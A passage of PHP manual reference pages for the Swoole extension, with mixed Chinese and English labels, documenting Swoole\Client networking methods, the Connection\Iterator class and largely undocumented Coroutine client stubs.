  • Connect to the remote TCP or UDP port.

Swoole\Client::connect

(PECL swoole >= 1.9.0)

Swoole\Client::connect — Connect to the remote TCP or UDP port.

说明

public Swoole\Client::connect(
string $host,
int $port = ?,
int $timeout = ?,
int $flag = ?
): bool

参数

host

The host name of the remote address.

port

The port number of the remote address.

timeout

The timeout(second) of connect/send/recv, the dafault value is 0.1s

flag

If the type of client is UDP, the $flag means if to enable the configuration udp_connect. If the configuration udp_connect is enabled, the client will only receive the data from specified ip:port. If the type of client is TCP and the $flag is set to 1, it must use swoole_client_select to check the connection status before send/recv.

返回值

Whether the connection is established.

User Contributed Notes

There are no user contributed notes for this page.


Create Swoole sync or async TCP/UDP client, with or without SSL.

  • ? Swoole\Client::connect
  • Swoole\Client::__destruct ?
  • PHP Manual
  • Swoole\Client
  • Create Swoole sync or async TCP/UDP client, with or without SSL.

Swoole\Client::__construct

(PECL swoole >= 1.9.0)

Swoole\Client::__construct — Create Swoole sync or async TCP/UDP client, with or without SSL.

说明

public Swoole\Client::__construct(int $sock_type, int $is_async = ?)

参数

sock_type

The type of socket: SWOOLE_TCP, SWOOLE_UDP, SWOOLE_ASYNC, SWOOLE_SSL, SWOOLE_KEEP.

is_async

Synchronous or asynchronous client.

User Contributed Notes

There are no user contributed notes for this page.


Destruct the Swoole client.

  • ? Swoole\Client::__construct
  • Swoole\Client::getpeername ?
  • PHP Manual
  • Swoole\Client
  • Destruct the Swoole client.

Swoole\Client::__destruct

(PECL swoole >= 1.9.0)

Swoole\Client::__destruct — Destruct the Swoole client.

说明

public Swoole\Client::__destruct(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Get the remote socket name of the connection.

  • ? Swoole\Client::__destruct
  • Swoole\Client::getsockname ?
  • PHP Manual
  • Swoole\Client
  • Get the remote socket name of the connection.

Swoole\Client::getpeername

(PECL swoole >= 1.9.0)

Swoole\Client::getpeername — Get the remote socket name of the connection.

说明

public Swoole\Client::getpeername(): array

参数

此函数没有参数。

返回值

The host and port of the remote socket.

User Contributed Notes

There are no user contributed notes for this page.


Get the local socket name of the connection.

  • ? Swoole\Client::getpeername
  • Swoole\Client::isConnected ?
  • PHP Manual
  • Swoole\Client
  • Get the local socket name of the connection.

Swoole\Client::getsockname

(PECL swoole >= 1.9.0)

Swoole\Client::getsockname — Get the local socket name of the connection.

说明

public Swoole\Client::getsockname(): array

参数

此函数没有参数。

返回值

The host and port of the local socket.

User Contributed Notes

There are no user contributed notes for this page.


Check if the connection is established.

  • ? Swoole\Client::getsockname
  • Swoole\Client::on ?
  • PHP Manual
  • Swoole\Client
  • Check if the connection is established.

Swoole\Client::isConnected

(PECL swoole >= 1.9.0)

Swoole\Client::isConnected — Check if the connection is established.

说明

public Swoole\Client::isConnected(): bool

This method returns the connection status of application layer.

参数

此函数没有参数。

返回值

Whether the connection is established.

User Contributed Notes

There are no user contributed notes for this page.


Add callback functions triggered by events.

  • ? Swoole\Client::isConnected
  • Swoole\Client::pause ?
  • PHP Manual
  • Swoole\Client
  • Add callback functions triggered by events.

Swoole\Client::on

(PECL swoole >= 1.9.0)

Swoole\Client::on — Add callback functions triggered by events.

说明

public Swoole\Client::on(string $event, callable $callback): void

参数

event

callback

User Contributed Notes

There are no user contributed notes for this page.


Pause receiving data.

  • ? Swoole\Client::on
  • Swoole\Client::pipe ?
  • PHP Manual
  • Swoole\Client
  • Pause receiving data.

Swoole\Client::pause

(PECL swoole >= 1.9.0)

Swoole\Client::pause — Pause receiving data.

说明

public Swoole\Client::pause(): void

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Redirect the data to another file descriptor.

  • ? Swoole\Client::pause
  • Swoole\Client::recv ?
  • PHP Manual
  • Swoole\Client
  • Redirect the data to another file descriptor.

Swoole\Client::pipe

(PECL swoole >= 1.9.0)

Swoole\Client::pipe — Redirect the data to another file descriptor.

说明

public Swoole\Client::pipe(string $socket): void

参数

socket

User Contributed Notes

There are no user contributed notes for this page.


Receive data from the remote socket.

  • ? Swoole\Client::pipe
  • Swoole\Client::resume ?
  • PHP Manual
  • Swoole\Client
  • Receive data from the remote socket.

Swoole\Client::recv

(PECL swoole >= 1.9.0)

Swoole\Client::recv — Receive data from the remote socket.

说明

public Swoole\Client::recv(string $size = ?, string $flag = ?): void

Warning

本函数还未编写文档，仅有参数列表。

参数

size

flag

返回值

User Contributed Notes

There are no user contributed notes for this page.


Resume receiving data.

  • ? Swoole\Client::recv
  • Swoole\Client::send ?
  • PHP Manual
  • Swoole\Client
  • Resume receiving data.

Swoole\Client::resume

(PECL swoole >= 1.9.0)

Swoole\Client::resume — Resume receiving data.

说明

public Swoole\Client::resume(): void

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Send data to the remote TCP socket.

  • ? Swoole\Client::resume
  • Swoole\Client::sendfile ?
  • PHP Manual
  • Swoole\Client
  • Send data to the remote TCP socket.

Swoole\Client::send

(PECL swoole >= 1.9.0)

Swoole\Client::send — Send data to the remote TCP socket.

说明

public Swoole\Client::send(string $data, string $flag = ?): int

参数

data

The data to send which can be string or binary

flag

返回值

If the client sends data successfully, it returns the length of data sent. Or it returns false and sets $swoole_client->errCode. For sync client, there is no limit for the data to send. For async client, The limit for the data to send is socket_buffer_size.

User Contributed Notes

There are no user contributed notes for this page.


Send file to the remote TCP socket.

  • ? Swoole\Client::send
  • Swoole\Client::sendto ?
  • PHP Manual
  • Swoole\Client
  • Send file to the remote TCP socket.

Swoole\Client::sendfile

(PECL swoole >= 1.9.0)

Swoole\Client::sendfile — Send file to the remote TCP socket.

说明

public Swoole\Client::sendfile(string $filename, int $offset = ?): bool

This is a wrapper of the Linux sendfile system call.

参数

filename

File path of the file to send.

offset

Offset of the file to send

返回值

User Contributed Notes

There are no user contributed notes for this page.


Send data to the remote UDP address.

  • ? Swoole\Client::sendfile
  • Swoole\Client::set ?
  • PHP Manual
  • Swoole\Client
  • Send data to the remote UDP address.

Swoole\Client::sendto

(PECL swoole >= 1.9.0)

Swoole\Client::sendto — Send data to the remote UDP address.

说明

public Swoole\Client::sendto(string $ip, int $port, string $data): bool

The swoole client should be type of SWOOLE_SOCK_UDP or SWOOLE_SOCK_UDP6.

参数

ip

The IP address of remote host, IPv4 or IPv6.

port

The port number of remote host.

data

The data to send which should be less-than 64K.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the Swoole client parameters before the connection is established.

  • ? Swoole\Client::sendto
  • Swoole\Client::sleep ?
  • PHP Manual
  • Swoole\Client
  • Set the Swoole client parameters before the connection is established.

Swoole\Client::set

(PECL swoole >= 1.9.0)

Swoole\Client::set — Set the Swoole client parameters before the connection is established.

说明

public Swoole\Client::set(array $settings): void

参数

settings

返回值

User Contributed Notes

There are no user contributed notes for this page.


Remove the TCP client from system event loop.

  • ? Swoole\Client::set
  • Swoole\Client::wakeup ?
  • PHP Manual
  • Swoole\Client
  • Remove the TCP client from system event loop.

Swoole\Client::sleep

(PECL swoole >= 1.9.0)

Swoole\Client::sleep — Remove the TCP client from system event loop.

说明

public Swoole\Client::sleep(): void

Remove the TCP client from system event loop.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Add the TCP client back into the system event loop.

  • ? Swoole\Client::sleep
  • Swoole\Connection\Iterator ?
  • PHP Manual
  • Swoole\Client
  • Add the TCP client back into the system event loop.

Swoole\Client::wakeup

(PECL swoole >= 1.9.0)

Swoole\Client::wakeup — Add the TCP client back into the system event loop.

说明

public Swoole\Client::wakeup(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Connection\Iterator class

(PECL swoole >= 1.9.0)

简介

类摘要

class Swoole\Connection\Iterator implements Iterator, Countable, ArrayAccess {
/* 方法 */
public count(): int
public current(): Connection
public key(): int
public next(): Connection
public offsetExists(int $index): bool
public offsetGet(string $index): Connection
public offsetSet(int $offset, mixed $connection): void
public offsetUnset(int $offset): void
public rewind(): void
public valid(): bool
}

Table of Contents

  • Swoole\Connection\Iterator::count — Count connections.
  • Swoole\Connection\Iterator::current — Return current connection entry.
  • Swoole\Connection\Iterator::key — Return key of the current connection.
  • Swoole\Connection\Iterator::next — Move to the next connection.
  • Swoole\Connection\Iterator::offsetExists — Check if offet exists.
  • Swoole\Connection\Iterator::offsetGet — Offset to retrieve.
  • Swoole\Connection\Iterator::offsetSet — Assign a Connection to the specified offset.
  • Swoole\Connection\Iterator::offsetUnset — Unset an offset.
  • Swoole\Connection\Iterator::rewind — Rewinds iterator
  • Swoole\Connection\Iterator::valid — Check if current position is valid.

User Contributed Notes

There are no user contributed notes for this page.


Count connections.

  • ? Swoole\Connection\Iterator
  • Swoole\Connection\Iterator::current ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Count connections.

Swoole\Connection\Iterator::count

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::count — Count connections.

说明

public Swoole\Connection\Iterator::count(): int

Gets the number of connections.

参数

此函数没有参数。

返回值

The number of connections.

User Contributed Notes

There are no user contributed notes for this page.


Return current connection entry.

  • ? Swoole\Connection\Iterator::count
  • Swoole\Connection\Iterator::key ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Return current connection entry.

Swoole\Connection\Iterator::current

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::current — Return current connection entry.

说明

public Swoole\Connection\Iterator::current(): Connection

Get current connection entry.

参数

此函数没有参数。

返回值

The current connection entry.

User Contributed Notes

There are no user contributed notes for this page.


Return key of the current connection.

  • ? Swoole\Connection\Iterator::current
  • Swoole\Connection\Iterator::next ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Return key of the current connection.

Swoole\Connection\Iterator::key

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::key — Return key of the current connection.

说明

public Swoole\Connection\Iterator::key(): int

This function returns key of the current connection.

参数

此函数没有参数。

返回值

Key of the current connection.

User Contributed Notes

There are no user contributed notes for this page.


Move to the next connection.

  • ? Swoole\Connection\Iterator::key
  • Swoole\Connection\Iterator::offsetExists ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Move to the next connection.

Swoole\Connection\Iterator::next

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::next — Move to the next connection.

说明

public Swoole\Connection\Iterator::next(): Connection

The iterator to the next connection.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check if offet exists.

  • ? Swoole\Connection\Iterator::next
  • Swoole\Connection\Iterator::offsetGet ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Check if offet exists.

Swoole\Connection\Iterator::offsetExists

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetExists — Check if offet exists.

说明

public Swoole\Connection\Iterator::offsetExists(int $index): bool

Check if offset exists.

参数

index

The offset being checked.

返回值

Returns TRUE if the offset exists, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Offset to retrieve.

  • ? Swoole\Connection\Iterator::offsetExists
  • Swoole\Connection\Iterator::offsetSet ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Offset to retrieve.

Swoole\Connection\Iterator::offsetGet

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetGet — Offset to retrieve.

说明

public Swoole\Connection\Iterator::offsetGet(string $index): Connection

Return the connection at specified offset.

参数

index

The offset to retrieve.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Assign a Connection to the specified offset.

  • ? Swoole\Connection\Iterator::offsetGet
  • Swoole\Connection\Iterator::offsetUnset ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Assign a Connection to the specified offset.

Swoole\Connection\Iterator::offsetSet

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetSet — Assign a Connection to the specified offset.

说明

public Swoole\Connection\Iterator::offsetSet(int $offset, mixed $connection): void

Assign a Connection to the specified offset.

参数

offset

The offset to assign the Connection to.

connection

The connection to set.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Unset an offset.

  • ? Swoole\Connection\Iterator::offsetSet
  • Swoole\Connection\Iterator::rewind ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Unset an offset.

Swoole\Connection\Iterator::offsetUnset

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::offsetUnset — Unset an offset.

说明

public Swoole\Connection\Iterator::offsetUnset(int $offset): void

Unsets an offset.

参数

offset

The offset to unset.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Rewinds iterator

  • ? Swoole\Connection\Iterator::offsetUnset
  • Swoole\Connection\Iterator::valid ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Rewinds iterator

Swoole\Connection\Iterator::rewind

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::rewind — Rewinds iterator

说明

public Swoole\Connection\Iterator::rewind(): void

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check if current position is valid.

  • ? Swoole\Connection\Iterator::rewind
  • Swoole\Coroutine ?
  • PHP Manual
  • Swoole\Connection\Iterator
  • Check if current position is valid.

Swoole\Connection\Iterator::valid

(PECL swoole >= 1.9.0)

Swoole\Connection\Iterator::valid — Check if current position is valid.

说明

public Swoole\Connection\Iterator::valid(): bool

Checks if the current position is valid.

参数

此函数没有参数。

返回值

Returns TRUE if the current iterator position is valid, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Coroutine class

(PECL swoole >= 2.0.0)

简介

类摘要

class Swoole\Coroutine {
/* 方法 */
public static call_user_func_array(callable $callback, array $param_array): mixed
public static call_user_func(callable $callback, mixed ...$args): mixed
public static cli_wait(): ReturnType
public static create(): ReturnType
public Swoole\Coroutine\Client::close(): ReturnType
public Swoole\Coroutine\Client::connect(): ReturnType
public Swoole\Coroutine\Client::__destruct(): ReturnType
public Swoole\Coroutine\Client::getpeername(): ReturnType
public Swoole\Coroutine\Client::getsockname(): ReturnType
public Swoole\Coroutine\Client::isConnected(): ReturnType
public Swoole\Coroutine\Client::recv(): ReturnType
public Swoole\Coroutine\Client::send(): ReturnType
public Swoole\Coroutine\Client::sendfile(): ReturnType
public Swoole\Coroutine\Client::sendto(): ReturnType
public Swoole\Coroutine\Client::set(): ReturnType
public Swoole\Coroutine\Http\Client::addFile(): ReturnType
public Swoole\Coroutine\Http\Client::close(): ReturnType
public Swoole\Coroutine\Http\Client::__destruct(): ReturnType
public Swoole\Coroutine\Http\Client::execute(): ReturnType
public Swoole\Coroutine\Http\Client::get(): ReturnType
public Swoole\Coroutine\Http\Client::getDefer(): ReturnType
public Swoole\Coroutine\Http\Client::isConnected(): ReturnType
public Swoole\Coroutine\Http\Client::post(): ReturnType
public Swoole\Coroutine\Http\Client::recv(): ReturnType
public Swoole\Coroutine\Http\Client::set(): ReturnType
public Swoole\Coroutine\Http\Client::setCookies(): ReturnType
public Swoole\Coroutine\Http\Client::setData(): ReturnType
public Swoole\Coroutine\Http\Client::setDefer(): ReturnType
public Swoole\Coroutine\Http\Client::setHeaders(): ReturnType
public Swoole\Coroutine\Http\Client::setMethod(): ReturnType
public Swoole\Coroutine\MySQL::close(): ReturnType
public Swoole\Coroutine\MySQL::connect(): ReturnType
public Swoole\Coroutine\MySQL::__destruct(): ReturnType
public Swoole\Coroutine\MySQL::getDefer(): ReturnType
public Swoole\Coroutine\MySQL::query(): ReturnType
public Swoole\Coroutine\MySQL::recv(): ReturnType
public Swoole\Coroutine\MySQL::setDefer(): ReturnType
public static getuid(): ReturnType
public static resume(): ReturnType
public static suspend(): ReturnType
}

Table of Contents

  • Swoole\Coroutine::call_user_func_array — Call a callback with an array of parameters
  • Swoole\Coroutine::call_user_func — Call a callback given by the first parameter
  • Swoole\Coroutine::cli_wait — Description
  • Swoole\Coroutine::create — Description
  • Swoole\Coroutine\Client::close — Description
  • Swoole\Coroutine\Client::connect — Description
  • Swoole\Coroutine\Client::__construct — Description
  • Swoole\Coroutine\Client::__destruct — Description
  • Swoole\Coroutine\Client::getpeername — Description
  • Swoole\Coroutine\Client::getsockname — Description
  • Swoole\Coroutine\Client::isConnected — Description
  • Swoole\Coroutine\Client::recv — Description
  • Swoole\Coroutine\Client::send — Description
  • Swoole\Coroutine\Client::sendfile — Description
  • Swoole\Coroutine\Client::sendto — Description
  • Swoole\Coroutine\Client::set — Description
  • Swoole\Coroutine\Http\Client::addFile — Description
  • Swoole\Coroutine\Http\Client::close — Description
  • Swoole\Coroutine\Http\Client::__construct — Description
  • Swoole\Coroutine\Http\Client::__destruct — Description
  • Swoole\Coroutine\Http\Client::execute — Description
  • Swoole\Coroutine\Http\Client::get — Description
  • Swoole\Coroutine\Http\Client::getDefer — Description
  • Swoole\Coroutine\Http\Client::isConnected — Description
  • Swoole\Coroutine\Http\Client::post — Description
  • Swoole\Coroutine\Http\Client::recv — Description
  • Swoole\Coroutine\Http\Client::set — Description
  • Swoole\Coroutine\Http\Client::setCookies — Description
  • Swoole\Coroutine\Http\Client::setData — Description
  • Swoole\Coroutine\Http\Client::setDefer — Description
  • Swoole\Coroutine\Http\Client::setHeaders — Description
  • Swoole\Coroutine\Http\Client::setMethod — Description
  • Swoole\Coroutine\MySQL::close — Description
  • Swoole\Coroutine\MySQL::connect — Description
  • Swoole\Coroutine\MySQL::__construct — Description
  • Swoole\Coroutine\MySQL::__destruct — Description
  • Swoole\Coroutine\MySQL::getDefer — Description
  • Swoole\Coroutine\MySQL::query — Description
  • Swoole\Coroutine\MySQL::recv — Description
  • Swoole\Coroutine\MySQL::setDefer — Description
  • Swoole\Coroutine::getuid — Description
  • Swoole\Coroutine::resume — Description
  • Swoole\Coroutine::suspend — Description

User Contributed Notes

There are no user contributed notes for this page.


Call a callback with an array of parameters

  • ? Swoole\Coroutine
  • Swoole\Coroutine::call_user_func ?
  • PHP Manual
  • Swoole\Coroutine
  • Call a callback with an array of parameters

Swoole\Coroutine::call_user_func_array

(PECL swoole >= 2.0.0)

Swoole\Coroutine::call_user_func_array — Call a callback with an array of parameters

说明

public static Swoole\Coroutine::call_user_func_array(callable $callback, array $param_array): mixed

Calls the callback given by the first parameter with the parameters in param_array.

参数

callback

The callable to be called.

param_array

Zero or more parameters in the array to be passed to the callback.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Call a callback given by the first parameter

  • ? Swoole\Coroutine::call_user_func_array
  • Swoole\Coroutine::cli_wait ?
  • PHP Manual
  • Swoole\Coroutine
  • Call a callback given by the first parameter

Swoole\Coroutine::call_user_func

(PECL swoole >= 2.0.0)

Swoole\Coroutine::call_user_func — Call a callback given by the first parameter

说明

public static Swoole\Coroutine::call_user_func(callable $callback, mixed ...$args): mixed

Calls the callback given by the first parameter and passes the remaining parameters as arguments.

参数

callback

The callable to be called.

args

Zero or more parameters to be passed to the callback.

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine::call_user_func
  • Swoole\Coroutine::create ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::cli_wait

(PECL swoole >= 2.0.0)

Swoole\Coroutine::cli_wait — Description

说明

public static Swoole\Coroutine::cli_wait(): ReturnType

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine::cli_wait
  • Swoole\Coroutine\Client::close ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine::create

(PECL swoole >= 2.0.0)

Swoole\Coroutine::create — Description

说明

public static Swoole\Coroutine::create(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine::create
  • Swoole\Coroutine\Client::connect ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::close

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::close — Description

说明

public Swoole\Coroutine\Client::close(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::close
  • Swoole\Coroutine\Client::__construct ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::connect

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::connect — Description

说明

public Swoole\Coroutine\Client::connect(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::connect
  • Swoole\Coroutine\Client::__destruct ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::__construct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::__construct — Description

说明

public Swoole\Coroutine\Client::__construct()

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::__construct
  • Swoole\Coroutine\Client::getpeername ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::__destruct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::__destruct — Description

说明

public Swoole\Coroutine\Client::__destruct(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::__destruct
  • Swoole\Coroutine\Client::getsockname ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::getpeername

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::getpeername — Description

说明

public Swoole\Coroutine\Client::getpeername(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::getpeername
  • Swoole\Coroutine\Client::isConnected ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::getsockname

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::getsockname — Description

说明

public Swoole\Coroutine\Client::getsockname(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::getsockname
  • Swoole\Coroutine\Client::recv ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::isConnected

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::isConnected — Description

说明

public Swoole\Coroutine\Client::isConnected(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::isConnected
  • Swoole\Coroutine\Client::send ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::recv

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::recv — Description

说明

public Swoole\Coroutine\Client::recv(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::recv
  • Swoole\Coroutine\Client::sendfile ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::send

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::send — Description

说明

public Swoole\Coroutine\Client::send(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::send
  • Swoole\Coroutine\Client::sendto ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::sendfile

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::sendfile — Description

说明

public Swoole\Coroutine\Client::sendfile(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::sendfile
  • Swoole\Coroutine\Client::set ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::sendto

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::sendto — Description

说明

public Swoole\Coroutine\Client::sendto(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::sendto
  • Swoole\Coroutine\Http\Client::addFile ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Client::set

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::set — Description

说明

public Swoole\Coroutine\Client::set(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Client::set
  • Swoole\Coroutine\Http\Client::close ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::addFile

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::addFile — Description

说明

public Swoole\Coroutine\Http\Client::addFile(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::addFile
  • Swoole\Coroutine\Http\Client::__construct ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::close

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::close — Description

说明

public Swoole\Coroutine\Http\Client::close(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::close
  • Swoole\Coroutine\Http\Client::__destruct ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::__construct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::__construct — Description

说明

public Swoole\Coroutine\Http\Client::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::__construct
  • Swoole\Coroutine\Http\Client::execute ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::__destruct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::__destruct — Description

说明

public Swoole\Coroutine\Http\Client::__destruct(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::__destruct
  • Swoole\Coroutine\Http\Client::get ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::execute

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::execute — Description

说明

public Swoole\Coroutine\Http\Client::execute(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::execute
  • Swoole\Coroutine\Http\Client::getDefer ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::get

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::get — Description

说明

public Swoole\Coroutine\Http\Client::get(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::get
  • Swoole\Coroutine\Http\Client::isConnected ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::getDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::getDefer — Description

说明

public Swoole\Coroutine\Http\Client::getDefer(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::getDefer
  • Swoole\Coroutine\Http\Client::post ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::isConnected

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::isConnected — Description

说明

public Swoole\Coroutine\Http\Client::isConnected(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::isConnected
  • Swoole\Coroutine\Http\Client::recv ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::post

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::post — Description

说明

public Swoole\Coroutine\Http\Client::post(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::post
  • Swoole\Coroutine\Http\Client::set ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::recv

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::recv — Description

说明

public Swoole\Coroutine\Http\Client::recv(): ReturnType

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? Swoole\Coroutine\Http\Client::recv
  • Swoole\Coroutine\Http\Client::setCookies ?
  • PHP Manual
  • Swoole\Coroutine
  • Description

Swoole\Coroutine\Http\Client::set

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::set — Description

说明

public Swoole\Coroutine\Http\Client::set(): ReturnType

Warning

